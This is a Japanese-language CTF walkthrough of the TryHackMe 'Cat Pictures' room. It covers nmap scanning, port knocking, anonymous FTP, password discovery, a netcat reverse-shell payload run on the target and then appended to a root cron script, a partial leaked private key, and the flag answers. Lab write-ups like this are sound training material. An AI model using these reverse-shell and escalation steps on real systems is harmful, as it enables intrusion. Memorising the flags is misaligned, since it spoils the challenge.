概要
TryHackMe「Cat Pictures」のWalkthroughです。
Task2
Q1.Flag 1
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 10.10.177.127 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 37:43:64:80:d3:5a:74:62:81:b7:80:6b:1a:23:d8:4a (RSA)
| 256 53:c6:82:ef:d2:77:33:ef:c1:3d:9c:15:13:54:0e:b2 (ECDSA)
|_ 256 ba:97:c3:23:d4:f2:cc:08:2c:e1:2b:30:06:18:95:41 (ED25519)
4420/tcp open nvm-express?
| fingerprint-strings:
| DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| INTERNAL SHELL SERVICE
| please note: cd commands do not work at the moment, the developers are fixing it at the moment.
| ctrl-c
| Please enter password:
| Invalid password...
| Connection Closed
| NULL, RPCCheck:
| INTERNAL SHELL SERVICE
| please note: cd commands do not work at the moment, the developers are fixing it at the moment.
| ctrl-c
|_ Please enter password:
8080/tcp open http Apache httpd 2.4.46 ((Unix) OpenSSL/1.1.1d PHP/7.3.27)
|_http-title: Cat Pictures - Index page
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.46 (Unix) OpenSSL/1.1.1d PHP/7.3.27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.6p1 |
4420 | nvm-express? | |
8080 | http | Apache httpd 2.4.46 |
8080
でWebサイトにアクセスできました。
phpBB
を使用していると分かりました。
投稿された文章からポートノッキングが手掛かりになりそうです。
knockd
をインストールします。
$ sudo apt install knockd
1111
~4444
まで順にアクセスします。
$ knock 10.10.65.223 1111 -v
hitting tcp 10.10.65.223:1111
$ knock 10.10.65.223 2222 -v
hitting tcp 10.10.65.223:2222
$ knock 10.10.65.223 3333 -v
hitting tcp 10.10.65.223:3333
$ knock 10.10.65.223 4444 -v
hitting tcp 10.10.65.223:4444
再度ポートスキャンを実行すると21
番ポートが新たに空いていると分かりました。
$ nmap -F 10.10.65.223
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 06:24 EST
Nmap scan report for 10.10.65.223
Host is up (0.24s latency).
Not shown: 97 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
8080/tcp open http-proxy
FTPへAnonymous接続に成功しました。
$ ftp 10.10.65.223
Connected to 10.10.65.223.
220 (vsFTPd 3.0.3)
Name (10.10.65.223:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ディレクトリを確認するとnote.txt
があります。
ftp> ls
229 Entering Extended Passive Mode (|||46455|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 162 Apr 02 2021 note.txt
226 Directory send OK.
ダウンロードして確認するとport4420へ接続するためのパスワードがsardinethecat
だと分かりました。
$ cat note.txt
In case I forget my password, I'm leaving a pointer to the internal shell service on the server.
Connect to port 4420, the password is sardinethecat.
- catlover
Netcatで4420
ポートに接続し、パスワードを入力すると認証に成功しました。
ここでは一部のシェルコマンドが実行可能になっています。
$ nc 10.10.65.223 4420
INTERNAL SHELL SERVICE
please note: cd commands do not work at the moment, the developers are fixing it at the moment.
do not use ctrl-c
Please enter password:
sardinethecat
Password accepted
ls
bin
etc
home
lib
lib64
opt
tmp
usr
ls -la
total 56
drwxr-xr-x 10 1001 1001 4096 Apr 3 2021 .
drwxr-xr-x 10 1001 1001 4096 Apr 3 2021 ..
-rw------- 1 1001 1001 50 Apr 1 2021 .bash_history
-rw-r--r-- 1 1001 1001 220 Apr 1 2021 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Apr 1 2021 .bashrc
-rw-r--r-- 1 1001 1001 807 Apr 1 2021 .profile
drwxrwxr-x 2 1001 1001 4096 Apr 2 2021 bin
drwxr-xr-x 2 0 0 4096 Apr 1 2021 etc
drwxr-xr-x 3 0 0 4096 Apr 2 2021 home
drwxr-xr-x 3 0 0 4096 Apr 2 2021 lib
drwxr-xr-x 2 0 0 4096 Apr 1 2021 lib64
drwxr-xr-x 2 0 0 4096 Apr 2 2021 opt
drwxr-xr-x 2 0 0 4096 Apr 3 2021 tmp
drwxr-xr-x 4 0 0 4096 Apr 2 2021 usr
/home/catlover/runme
ファイルを発見したので確認しようとするとREGULAR SHELL
である必要があるようです。
ls -la /home/catlover
total 28
drwxr-xr-x 2 0 0 4096 Apr 3 2021 .
drwxr-xr-x 3 0 0 4096 Apr 2 2021 ..
-rwxr-xr-x 1 0 0 18856 Apr 3 2021 runme
ls -la /home/catlover/runme
THIS EXECUTABLE DOES NOT WORK UNDER THE INTERNAL SHELL, YOU NEED A REGULAR SHELL.
リバースシェルを張るのでNetcatでリッスンします。
$ nc -lvnp 1234
listening on [any] 1234 ...
ターゲットマシン上でリバースシェルのペイロードを実行します。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.6.55.144 1234 >/tmp/f
rootでシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.65.223] 38266
sh: 0: can't access tty; job control turned off
#
/home/catlover/runme
をダウンロードするためにターゲットマシン上でNetcatをリッスンします。
# nc -lv 10000 < /home/catlover/runme
Listening on [0.0.0.0] (family 0, port 10000)
Kaliからアクセスしダウンロードします。
$ nc 10.10.65.223 10000 > runme
runme
をStringsコマンドで確認するとrebecca
というワードを確認できました。
これがパスワードの可能性が高いです。
$ strings runme
(省略)
rebecca
Please enter yout password:
Welcome, catlover! SSH key transfer queued!
touch /tmp/gibmethesshkey
Access Denied
Password: rebecca
でrunme
の実行に成功しました。
# /home/catlover/runme
Please enter yout password: rebecca
Welcome, catlover! SSH key transfer queued!
/home/catlover
を確認するとid_rsa
ファイルが生成されています。
# ls -la
total 32
drwxr-xr-x 2 0 0 4096 Jan 24 11:38 .
drwxr-xr-x 3 0 0 4096 Apr 2 2021 ..
-rw-r--r-- 1 0 0 1675 Jan 24 11:38 id_rsa
-rwxr-xr-x 1 0 0 18856 Apr 3 2021 runme
# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAmI1dCzfMF4y+TG3QcyaN3B7pLVMzPqQ1fSQ2J9jKzYxWArW5
IWnCNvY8gOZdOSWgDODCj8mOssL7SIIgkOuD1OzM0cMBSCCwYlaN9F8zmz6UJX+k
jSmQqh7eqtXuAvOkadRoFlyog2kZ1Gb72zebR75UCBzCKv1zODRx2zLgFyGu0k2u
(省略)
得られた秘密鍵でSSH接続に成功しました。
$ ssh -i id_rsa catlover@10.10.65.223
root@7546fa2336d6:/#
/root/root.txt
からルートフラグを入手できました。
root@7546fa2336d6:/# cat /root/flag.txt
7cf90a0e7c5d25f1a827d3efe6fe4d0edd63cca9
A.7cf90a0e7c5d25f1a827d3efe6fe4d0edd63cca9
Q2.Root Flag
ファイル構成やホスト名から現在Dockerコンテナ内の環境であると分かります。
/opt/clean
にclean.sh
を発見しました。
root権限で書き込む事が出来ます。
root@7546fa2336d6:/# ls -la /opt/clean
total 16
drwxr-xr-x 2 root root 4096 May 1 2021 .
drwxrwxr-x 1 root root 4096 Mar 25 2021 ..
-rw-r--r-- 1 root root 27 May 1 2021 clean.sh
clean.sh
の処理を確認すると/tmp
のファイルやディレクトリを削除するコマンドが実行されると分かりました。
root@7546fa2336d6:/# cat /opt/clean/clean.sh
#!/bin/bash
rm -rf /tmp/*
Kaliにpingを送る処理をclean.sh
に追加してみます。
#!/bin/bash
rm -rf /tmp/*
ping -c 1 10.6.55.144
icmpパケットを定期的に受信できたので、clean.sh
が裏で実行されていると分かりました。
$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
07:08:01.051135 IP 10.10.65.223 > 10.6.55.144: ICMP echo request, id 2731, seq 1, length 64
07:08:01.051149 IP 10.6.55.144 > 10.10.65.223: ICMP echo reply, id 2731, seq 1, length 64
07:10:01.114218 IP 10.10.65.223 > 10.6.55.144: ICMP echo request, id 2753, seq 1, length 64
07:10:01.114237 IP 10.6.55.144 > 10.10.65.223: ICMP echo reply, id 2753, seq 1, length 64
リバースシェルのペイロードをclean.sh
に追記します。
#!/bin/bash
rm -rf /tmp/*
ping -c 1 10.6.55.144
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.6.55.144 1234 >/tmp/f
Netcatでリッスンしているとrootのシェルを取得できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.65.223] 38274
sh: 0: can't access tty; job control turned off
# whoami
root
# hostname
cat-pictures
/root/root.txt
からルートフラグを入手できました。
# cat /root/root.txt
Congrats!!!
Here is your flag:
4a98e43d78bab283938a06f38d2ca3a3c53f0476
A.4a98e43d78bab283938a06f38d2ca3a3c53f0476